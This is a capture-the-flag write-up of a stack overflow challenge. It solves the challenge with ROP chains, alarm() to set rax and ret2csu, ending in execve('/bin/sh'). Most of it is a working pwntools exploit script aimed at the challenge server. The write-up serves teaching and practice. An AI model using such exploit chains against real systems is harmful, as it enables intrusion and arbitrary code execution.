Tags: alarm ropchain ret2csu rop
Rating:
The title of the challenge (and the final flag) imply using the `srop` technique but that didn't occur to me during the CTF. Instead, I opted to use:
* Basic ROP chains
* Using `alarm()` to set `rax`
* `ret2csu` to set other registers
Ultimately, we want to run `syscall` with the following register values:
* `rax = 0x3b`
* `rdi = &bin_sh_string`
* `rsi = 0x0`
* `rdx = 0x0`
Altogether, this translates to `execve("/bin/sh", argv=NULL, envp=NULL)`
Below is truncated code based off of a `pwntools` template:
```
pop_rdi = 0x4005d3
pop_rsi_r15 = 0x4005d1
mid_main = 0x00400557
syscall = 0x40053b
csu1 = 0x004005ca
csu2 = 0x004005b0
csu_loopback = 0x400e48 # refers to a function that does nothing (i.e. just a ret; essentially)
#io = start()
io = remote("139.59.185.150", 31881)
cut = cyclic_find("kaaa")
xpl = cyclic(cut) # fill buffer to rip register
"""
First we do a read() call into the bss() where we will write "/bin/sh" to a location we know (since PIE is disabled) then loop back to the main function
"""
xpl += p64(pop_rdi)
xpl += p64(0x0)
xpl += p64(pop_rsi_r15)
xpl += p64(exe.bss())
xpl += p64(0x0)
xpl += p64(exe.sym.read)
xpl += p64(exe.sym.main)
io.sendline(xpl)
pause()
"""
Here, we send the /bin/sh string
"""
xpl = b"/bin/sh\x00"
io.sendline(xpl)
"""
Now, we're back in the main function and we want to set rax to 0x3b which is the syscall number for execve()
"""
xpl = cyclic(cut)
xpl += p64(pop_rdi)
xpl += p64(0x3b)
xpl += p64(exe.sym.alarm)
xpl += p64(pop_rdi)
xpl += p64(0x3b)
xpl += p64(exe.sym.alarm)
"""
We use a ret2csu method to get the rest of the registers lined up (rdi, rsi, rdx)
"""
xpl += p64(csu1)
xpl += p64(0x0) + p64(0x1) + p64(csu_loopback) + p64(exe.bss()) + p64(0x0) + p64(0x0)
xpl += p64(csu2)
cut2 = cyclic_find('oaaa') # I get lazy and stop counting bytes. I just run the code until it segfaults and tell pwntools where it segfaulted in order to get the right offsets
xpl += cyclic(cut2)
xpl += p64(exe.sym._syscall)
pause()
io.sendline(xpl)
io.interactive()
```